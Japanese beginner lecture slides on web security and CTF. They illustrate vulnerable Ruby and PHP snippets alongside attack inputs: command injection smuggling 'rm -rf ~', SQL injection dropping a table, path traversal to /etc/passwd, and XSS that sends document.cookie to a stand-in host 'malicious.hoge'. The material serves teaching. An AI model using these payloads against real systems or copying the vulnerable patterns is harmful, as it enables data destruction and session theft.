2019-09-08 TSG 初心者分科会 Web特講 第3回
@hakatashi
第3回 WebセキュリティとCTF
アプリケーションソフトウェアのバグのうち、
個人情報の漏洩やサーバーの破壊など、
悪意あるユーザーによって深刻な
被害を受ける可能性があるようなもの
Webアプリケーションの脆弱性による被害を
様々な手法を用いて可能な限り防ぐこと
def show
@content = `ls "#{params[:page]}"`
end
# /show?page=%2F%22%20%26%26%20rm%20-rf%20~%20%26%26%20echo%20%22
# => `ls "/" && rm -rf ~ && echo ""`
def show
@record = db.query(
"SELECT * FROM users WHERE name = '#{params[:name]}'"
)
end
# /show?name='%3B%20DROP%20TABLE%20users%3B%20--%20
# => SELECT * FROM users WHERE name = ''; DROP TABLE users; -- '
def show
@content = File.read('pages/#{params[:page]}')
end
# /show?page=../../../../etc/passwd
# => File.read('pages/../../../../etc/passwd')
<p>
Hello <?= $_GET["name"] ?>!
</p>
# /?name=%3Cscript%3Ewindow.close()%3C%2Fscript%3E
<p>
Hello <script>window.close()</script>!
</p>
<p>
Hello <script>
location.href = 'http://malicious.hoge/?' + document.body.innerHTML;
location.href = 'http://malicious.hoge/?' + document.cookie;
</script>!
</p>
# Railsテンプレートの場合
<p>
Hello <%= params[:name] %>!
</p>
# /?name=%3Cscript%3Ewindow.close()%3C%2Fscript%3E
<p>
Hello <script>window.close()</script>!
</p>